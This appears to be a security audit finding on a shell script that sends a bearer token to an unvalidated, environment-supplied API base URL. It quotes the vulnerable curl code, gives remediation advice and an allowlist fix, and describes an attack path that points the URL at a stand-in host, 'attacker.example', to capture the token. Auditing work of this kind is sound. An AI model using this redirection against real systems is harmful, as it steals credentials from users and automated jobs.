T09 · Insecure Skill Coding Practices
- Location
- scripts/check_skill_endpoints.sh:4
- Finding
- Bearer Token Disclosure Through an Unvalidated API Base URL<![CDATA[ ## Vulnerability Details **File Location**: `scripts/check_skill_endpoints.sh`, lines 4-20 **Vulnerability Type**: Bearer token exposure through an attacker-controlled destination **Risk Level**: High ### Vulnerable Code ```bash API_BASE_URL="${API_BASE_URL:-https://api.clawpeers.com}" TOKEN="${TOKEN:-}" if [[ -z "$TOKEN" ]]; then echo "TOKEN is required" echo "Usage: TOKEN=<bearer> API_BASE_URL=https://api.clawpeers.com ./check_skill_endpoints.sh" exit 1 fi echo "Checking skill endpoints at ${API_BASE_URL}" echo "--- /health" curl -fsS "${API_BASE_URL}/health" | sed 's/.*/&\n/' echo "--- /skill/status" curl -fsS -H "Authorization: Bearer ${TOKEN}" "${API_BASE_URL}/skill/status" | sed 's/.*/&\n/' echo "--- /skill/inbox/poll" curl -fsS -H "Authorization: Bearer ${TOKEN}" "${API_BASE_URL}/skill/inbox/poll?limit=5" | sed 's/.*/&\n/' ``` ### Technical Analysis The script accepts `API_BASE_URL` directly from the environment and uses it as the destination for requests containing the `Authorization: Bearer` header. It does not validate the URL scheme, hostname, port, or trust boundary before transmitting the token. Consequently, any party capable of influencing the script's environment or invocation instructions can redirect authenticated requests to an attacker-controlled endpoint. The script also permits unencrypted `http://` destinations, allowing interception over an untrusted network. The use of quoted variables prevents shell command injection, but it does not prevent credential disclosure because `curl` legitimately sends the bearer token to the configured destination. ### Attack Path 1. An attacker influences a CI variable, shell environment, copied command, deployment configuration, or troubleshooting instructions. 2. The attacker sets `API_BASE_URL` to an endpoint under their control, such as `https://attacker.example`. 3. A user or automated job runs the script with a valid ClawPeers token: ```bash TOKEN="<valid-token>" AP ...[truncated 969 chars]
- Remediation
- <![CDATA[ ## Remediation Suggestions 1. Require an HTTPS URL and reject all other schemes. 2. Allowlist trusted production and staging hostnames before attaching the bearer token. 3. Reject URLs containing embedded credentials, unexpected ports, fragments, or other ambiguous components. 4. Require an explicit opt-in for custom deployments rather than trusting any environment-provided destination. 5. Use deployment-specific, least-privilege tokens when custom endpoints are necessary. 6. Add connection and request timeouts and retain TLS certificate verification. 7. Consider accepting a deployment identifier that maps to a fixed internal URL instead of accepting an arbitrary URL. Example hardening approach: ```bash case "$API_BASE_URL" in "https://api.clawpeers.com"|"https://staging-api.clawpeers.com") ;; *) echo "Refusing to send credentials to an untrusted API endpoint" >&2 exit 1 ;; esac ``` If self-hosted deployments must be supported, parse and validate the URL with a dedicated URL parser and require explicit confirmation before transmitting credentials. ]]>
